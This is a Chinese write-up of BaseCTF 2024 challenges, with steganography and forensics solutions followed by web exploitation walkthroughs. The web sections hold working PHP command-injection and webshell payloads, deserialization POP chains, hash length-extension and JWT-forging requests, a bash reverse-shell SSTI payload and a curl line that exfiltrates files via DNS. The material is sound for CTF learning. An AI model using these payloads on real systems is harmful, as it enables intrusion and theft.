MISC

[Week1] Base

解密base64即可

[Week1] 捂住X只耳

音频分离成左右声道后,将其中一个声道反相,然后再次合并两个声道,听到摩斯密码
FOLLOW YOUR HEART 套上flag头即可
2.png

[Week1] 你也喜欢圣物吗

lsb最低位拿到key
解开zip后又有一个伪加密的,改09为00即可,txt底部解base64得到flag
3.png

[Week1] 人生苦短,我用Python

考查对python数组的熟悉,得到的py是可以运行的,一步一步检查即可

  1. 总长38字符
  2. 开头为BaseCTF{
  3. Mp在第11,12位(flag.find(‘Mp’) != 10指的是M应该在flag[10]也就是第11位)
  4. 末尾为3x}
  5. 末尾为}
  6. 总共有4个_
  7. 以下划线为分割字符长度为:14_2_6_4_8
    4.png
  8. 12-32(不包括32),每隔4个取一个为lsT_n(12 16 20 24 28)
  9. 以emoji猫为分割的前9位为BASECTF{S(此时s还不确定大小写)
  10. flag[-11]的5次方是1024(倒数第11位为4)
  11. flag[-7:-3]倒数第七到倒数第四分别为解密base64为0mPl
  12. flag[::-7]表示从后往前每隔7个取一位,所以先hex解密后逆向s1srC}
    }为倒数第一位,然后每隔七位再取
  13. flag[12::11]从第13位开始,隔11为取一位,l r(第13和第24位为l r)
  14. 第21到第26位为ascii解密t3r_Th
    此时flag为BaseCTF{s1Mpl**s**Tt3r_Th4n_C0mPl3x}
  15. flag[17:20]中的三个字符的加权和等于41378751114180610_Be
    5.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from itertools import product

# 给定的值和基数
target_value = 41378751114180610
base = 20240815

# 计算加权和
def calculate_sum(flag_substring):
return sum(ord(c) * base ** idx for idx, c in enumerate(flag_substring))

# 尝试所有可能的 3 字符组合
for chars in product(range(32, 127), repeat=3): # 限定在可打印字符范围内
flag_substring = ''.join(chr(c) for c in chars)
if calculate_sum(flag_substring) == target_value:
print(f"Found matching flag substring: {flag_substring}")
break
#Found matching flag substring: _Be
16. flag[0]为字母为已知的B[8]小写确定第九位s为小写[13]为数字第十四位为0-9
17. 将[13]的字符3为替换为bro确定第十四位为3,比较[13][15]是否为bro 1确定第十六位为1
18. 用于哈希确认,不用也行

[Week1] 正着看还是反着看呢?

拿到了一个十六进制数据逆序的jpg图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def reverse_hex_and_save_to_file(hex_string, file_name):
# 处理十六进制字符串,去除空格并分割每个字节
hex_bytes = hex_string.split()
# 反转字节顺序
reversed_bytes = hex_bytes[::-1]
# 重新拼接成十六进制字符串
reversed_hex_string = ''.join(reversed_bytes)
# 将反转后的十六进制字符串转换为字节
byte_data = bytes.fromhex(reversed_hex_string)
# 将字节数据写入文件
with open(file_name, 'wb') as file:
file.write(byte_data)

# 输入的十六进制文本
input_hex = '''
xxxxx
''' # 替换为你的十六进制数据
# 输出文件名
output_file = "xxx"
# 反向处理并保存到文件
reverse_hex_and_save_to_file(input_hex, output_file)

恢复后binwalk得到flag.txt
6.png

[Week1] 海上遇到了鲨鱼

wireshark打开后直接到导出对象导出flag.php逆序后得到flag

[Week1] 根本进不去啊!

悄悄告诉你: flag 在 flag.basectf.fun
进不去!怎么想都进不去吧?
访问不了就查询下该域名的DNS有没有文字记录信息
7.png

[Week1] 倒计时?海报!

一张图差不多得了(
赛事群相册的每一张图都用stegsolve查看不同颜色通道拿到flag内容合并即可

[Week2] ez_crypto

把字符串大小写替换后解密base64得到flag

1
2
3
4
5
6
7
8
9
10
11
import base64

def decode(s):
swapped = s.swapcase()
decoded = base64.b64decode(swapped)
return decoded.decode('utf-8')

if __name__ == "__main__":
text = "xxxxxxxxx" # 输入 Base64 编码字符串
result = decode(text)
print(result)

[Week2] 前辈什么的最喜欢了

拿到base64URL加密的文本,直接放浏览器加载不出来,删掉前缀保留base64字符串,解密后保存为图片,修改宽高后得到flag
fix_download.png

[Week2] 黑丝上的flag

stegsolve打开在alpha plane 1处拿到flag
B224900E03128FA33D26292E846C2CEE.png

[Week2] 海上又遇了鲨鱼

导出对象FTP-DATA下载flag.zip
在tcp.stream eq 16 拿到密码
7CA856CF245B8C71B3A8E442CBBD593A.png

[Week2] 二维码1-街头小广告

有纠错,直接扫码可以看到url处get的内容即为flag
C895A0270E31ECD7DDD038494B01F571.png

[Week2] Base?!

hS5VZPaBjN4IU6G2VFqZqNG-tPrJm64NgMKQuEa3nNIBIFbh0MLBZEpF4LqZn
9LpBjLoRjPqEV6Lo+
question response
Base64? X
Base32? X

XXdecode得到flag

[Week2] 哇!珍德食泥鸭

binwalk看到一堆文件,提取出来发现是word文档,改gif后缀为docx,全选+明显强调后在底部找到flag
ED4B49C3E47250247E025478184CCE64.png

[Week2] 反方向的雪

低头看雪?
压缩包密码为6位

jpg图片底部发现反向的zip数据,用[Week1] 正着看还是反着看呢?的脚本逆序后保存为zip
4682D634D7F72293C541E907EB8E16BE.png
根据描述说6位密码,爆破出密码为123456,打开全选看到空白根据题目使用SNOW解密 密钥为n0secr3t
2AFDDD30BE6A779066DED96AF5458BD5.png

[Week2] Aura 酱的旅行日记

本题做操作演示,其他社工题不再写wp

百度识图后得到关键词成都自然博物馆
百度地图搜索后得到位置
6F6CB59206F56B80E9345FC9FD622266.png
BaseCTF{四川省成都市成华区成华大道十里店路88号}

[Week3] 纯鹿人

word打开全选,选择明显强调主题,在图片后面有base64解密得到key:ikunikun
这张图片里面有zip用binwalk分离出来后输入密码得到flag

[Week3] broken.mp4

https://github.com/anthwlock/untrunc
修复mp4后得到flag

WEB

[Week1] A Dark Room

源码处拿到flag

[Week1] upload

先传png一句话然后bp抓包修改后缀即可,flag在/flag

[Week1] md5绕过欸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';

if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 = $_GET['name2'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){
echo $flag;
}
else{
echo "再看看啊,马上绕过嘞!";
}
}
else {
echo "错啦错啦";
}

}
else {
echo '没看到参数呐';
}

数组绕过md5即可
payload:
GET:name[]=1&name2[]=1
POST:password[]=2&password2[]=2

[Week1] 喵喵喵´•ﻌ•`

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['DT'];
eval($a);
?>

命令执行
paylaod:?DT=system('tac /f*');

[Week1] HTTP 是什么呀

1
2
3
4
5
6
7
GET:basectf=we1c%2500me
POST:Base=fl%40g
User-Agent: Base
Referer: Base
x-forwarded-for: localhost
cookie: c00k13=i can't eat it

[Week1] Aura 酱的礼物

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
die('这是 Aura 的礼物,你不是 Aura!');
}

// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
die('这不是 Aura 的博客!');
}

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
die('请去博客里面写下感想哦~');
}

// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift);

payload:pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io.[自己的域名]/&gift=php://filter/convert.base64-encode/resource=flag.php
DNS绑定jasmineaura.github.io.example.com这样一个n级域名到自己公网ip,然后搭一个有"已经收到Kengwang的礼物啦"内容的网页,保证file_get_contents能读到即可

官方wp:@127.0.0.1可读取靶机网页内容

[Week2] 你听不到我的声音

1
2
3
<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

shell_exec无回显,可利用管道符将命令输出结果定向到新文件中
cmd=ls / >1.txt
cmd=cat /f* >1.txt
查看当前目录下的1.txt得到flag

也可以DNSlog外带curl &#96;cat /f*&#96;.[域名]

[Week2] 一起吃豆豆

查看index.js找游戏结束的代码,解密base64得到flag
64B6D1D73EDF6BAF4E326EB4DDAE6272.png

[Week2] ez_ser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}

class web {
public $kw;
public $dt;

public function __wakeup() {
echo "lalalla".$this->kw;
}

public function __destruct() {
echo "ALL Done!";
}
}

class pwn {
public $dusk;
public $over;

public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}

class Misc {
public $nothing;
public $flag;

public function getflag() {
eval("system('cat /flag');");
}
}

class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}

public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>

函数调用链:web类的__wakeup() -> __toString() -> __get() -> Misc类的getflag()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class re{
public $chu0;
}

class web {
public $kw;
public $dt;
}

class pwn {
public $dusk;
public $over;
}

class Misc {
public $nothing;
public $flag;
}
$web = new web();
$re = new re();
$pwn = new pwn();
$Misc= new Misc();

$web->kw = $re;
$re ->chu0 = $pwn;
$pwn->dusk = "gods";
$pwn->over = $Misc;

echo serialize($web);
?>

payload:?ser=O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}

[Week2] RCEisamazingwithspace

过滤空格 ${IFS}代替即可
payload:cmd=tac${IFS}/flag

[Week2] Happy Birthday

文件md5碰撞
https://www.win.tue.nl/hashclash
题目要求上传两个不一样内容的pdf但是md5值相同,用工具生成上传后得到flag
95389902651BCCFFC3E548B9B75D25B5.png

[Week2] Really EZ POP

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}

class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}

class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}

class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;
}
}

if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}

函数调用顺序:__destrut() -> __get() -> __invoke()-> __tostring() -> eval()
EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Sink
{
public $cmd;
}

class Shark
{
public $word;
}

class Sea
{
public $animal;
}

class Nature
{
public $sea;
}

$Nature = new Nature();
$Sea = new Sea();
$Shark = new Shark();
$Sink = new Sink();

$Nature->sea=$Sea;
$Sea->animal=$Shark;
$Shark->word=$Sink;
$Sink->cmd="echo `tac /f*`;";
echo serialize($Nature);

请注意 PHP 版本为 5.6.40, 反序列化不会忽略成员变量可访问性

根据题目提示所以给cmd和word加上对应格式
public 无标记,长度不变
protected 变量名前加\00*\00,\00算1个长度,总长+3
private 添加类名,且两个名前都添加标记\00,长度:类名+变量名+2

payload:nature=O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"%00Shark%00word";O:4:"Sink":1:{s:9:"%00Sink%00cmd";s:15:"echo ``tac /f*``;";}}}}

[Week2] 数学大师

脚本题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import re
import time

def get(txt):
m = re.search(r'(\d+)\s*([+\-*/÷×])\s*(\d+)', txt)
n1, op, n2 = m.groups()
return int(n1), op, int(n2)


def calc(n1, op, n2):
if op == '+':
return n1 + n2
elif op == '-':
return n1 - n2
elif op == '×':
return n1 * n2
elif op == '÷':
return n1 // n2

def main():
url = 'xxx'
s = requests.Session()
r = s.get(url)
print(r.text)

while True:
if 'BaseCTF' in r.text:
break

n1, op, n2 = get(r.text)
res = calc(n1, op, n2)
print(f'Result: {res}')

data = {'answer': res}
r = s.post(url, data=data)
print(r.text)

time.sleep(1)

if __name__ == "__main__":
main()

[Week2] 所以你说你懂 MD5?

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');

分了几个阶段

  1. 数组绕过强比较
  2. 弱比较,利用两个字符串md5后为0e弱类型为0绕过
  3. md5碰撞,可利用fastcoll生成,这里在网上找了一个
  4. 哈希长度拓展攻击
    random_bytes(16) 生成 16 字节的随机二进制数据。
    bin2hex() 将这些二进制数据转换为等效的十六进制字符串,每个字节转换为两个字符。
    因此:
    bin2hex(random_bytes(16)) 会生成 32 个字符的十六进制字符串(16 字节 × 2)。
    代码中一共调用了三次 bin2hex(random_bytes(16))
    总长度为:32 字符 × 3 = 96 字符。
    D3E6031BED304B076B30471C97286931.png
    payload:
1
apple[]=1&banana[]=2&appple=s1885207154a&bananana=s1836677006a&apppple=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&banananana=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=b38c445bdd03137adda73ebc0a4de191

[Week3] 复读机

ssti,有很多过滤,先fuzz一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import string
import time

url = "xx"
printable_chars = string.printable
a = ""

for char in printable_chars:
flag_value = f"BaseCTF{{%{char}%}}"
payload = {'flag': flag_value}
response = requests.post(url, data=payload)
time.sleep(0.1)
if "你想干嘛? 杂鱼~ 杂鱼~" in response.text:
a += char
print(a)

除此还有关键字过滤,考虑使用fenjing来构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str):
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum","builtins","popen",
'"', "__", ".", "+", "{{","*","/","\\",":",
]
return all(word not in s for word in blacklist)

if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"")
# config_payload = config_payload(waf)

print(f"{shell_payload=}")

反弹shell后cat /flag即可

[Week3] 滤个不停

文件包含,过滤很多,考虑包含日志
User-Agent:<?php eval($_GET[1]);?>
POST:Datch=/var/log/nginx/access.log&incompetent=HelloWorld
GET:?1=system('tac /flag');

[Week3] 玩原神玩的

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}

function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}

function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}

echo json_encode($flag);
}

首先要爆破下长度,下面是爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$url = 'xxx';
$success_msg = "</code>我不管,我要玩原神!";

for ($length = 1; $length <= 100; $length++) {
$len_param = array_fill(0, $length, 9);
$post_data = http_build_query(array(
'len' => $len_param,
));

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

if (strpos($response, $success_msg) !== false) {
echo "Success with length: $length\n";
echo $response;
break;
}
curl_close($ch);
}
?>

后续按要求做即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$url = 'xxx'; // 替换为实际的 URL
$success_msg = "json";

// 已知的正确长度
$correct_length = 45;

$len_param = array_fill(0, $correct_length, 9);

$m_param = array(
'100%',
'love100%' . md5('100%')
);

$tip = '我要玩原神';
$post_data = http_build_query(array(
'len' => $len_param,
'm' => $m_param
));

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url . '?tip=' . urlencode($tip));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

echo curl_exec($ch);

curl_close($ch);
?>

解密md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

$encrypted_flag_json = '["md5_hash1", "md5_hash2", ...]';

$encrypted_flag = json_decode($encrypted_flag_json, true);

$length = count($encrypted_flag);

function find_original_char($md5_hash, $index) {
for ($char = 32; $char <= 126; $char++) {
if (md5($char ^ $index) === $md5_hash) {
return chr($char);
}
}
return null;
}

$original_flag = '';
for ($i = 0; $i < $length; $i++) {
$original_char = find_original_char($encrypted_flag[$i], $i);
$original_flag .= $original_char;
}

echo $original_flag;
?>

[Week3] ez_php_jail

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}

if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";

// 在HTML解析后再输出PHP源代码

?>

下划线用[绕过,找到姿势https://github.com/NotSurprised/RingZer0-CTF-Writeup/blob/master/JailEscaping/PHP%20Jail/PHP%20Jail%203/PHP%20Jail%203.md
payload:?Jail[by.Happy=highlight_file(glob("/f*")[0]);

[Week4] flag直接读取不就行了?

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

payload:
GET:?K=DirectoryIterator&W=/secret
POST:J=SplFileObject&H=/secret/f11444g.php

[Week4] 圣钥之战1.0

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)

python原型链污染,merge(json.loads(request.data),instance)意味着可以向路由/pollute post传入json数据即可污染属性,并且在/read下会执行file = open(__file__, encoding="utf-8").read()因此我们修改__file__的值为/flag即可读到flag文件
payload数据包:

1
2
3
4
5
6
7
8
9
10
POST /pollute
Content-Type: application/json

{
"__init__": {
"__globals__" : {
"__file__": "/flag"
}
}
}

再次访问/read拿到flag

[Week4] No JWT

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string

app = Flask(__name__)

# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

# 登录接口
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
password = data.get('password')

# 其他用户都给予 user 权限
token = jwt.encode({
'sub': username,
'role': 'user', # 普通用户角色
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, app.secret_key, algorithm='HS256')
return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
token = request.headers.get('Authorization')

if token:
try:
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
# 检查用户角色是否为 admin
if decoded.get('role') == 'admin':
with open('/flag', 'r') as f:
flag_content = f.read()
return jsonify({'flag': flag_content}), 200
else:
return jsonify({'message': 'Access denied: admin only'}), 403

except FileNotFoundError:
return jsonify({'message': 'Flag file not found'}), 404
except jwt.ExpiredSignatureError:
return jsonify({'message': 'Token has expired'}), 401
except jwt.InvalidTokenError:
return jsonify({'message': 'Invalid token'}), 401
return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
app.run(debug=True)

无密钥HS256 JWT
登录拿到token后直接在jwt.io改role为admin再发包到@/flag即可拿到flag

[Fin] 1z_php

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";

if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}

$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

第一个用八进制绕过,第二个正则回溯绕过,第三个由于要求要$b要php开头所以用SplFileObject+fgets+伪协议读出flag

1
2
3
4
5
6
7
import requests

data={"try":"a"*1000001+"hacker"}
url="http://challenge.basectf.fun:38172/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets"
res = requests.post(data=data,url=url)

print(res.text)

Back to the future

任意目录跳phpinfo(实际没用)
/robots.txt提示.git泄露
https://github.com/WangYihang/GitHacker
githacker --url http://gz.imxbt.cn:20982/.git/ --output-folder result
查看历史git log

回到添加flag的记录git reset --hard 9d85f10e0192ef630e10d7f876a117db41c30417
这时当前目录生成了flag.txt得到flag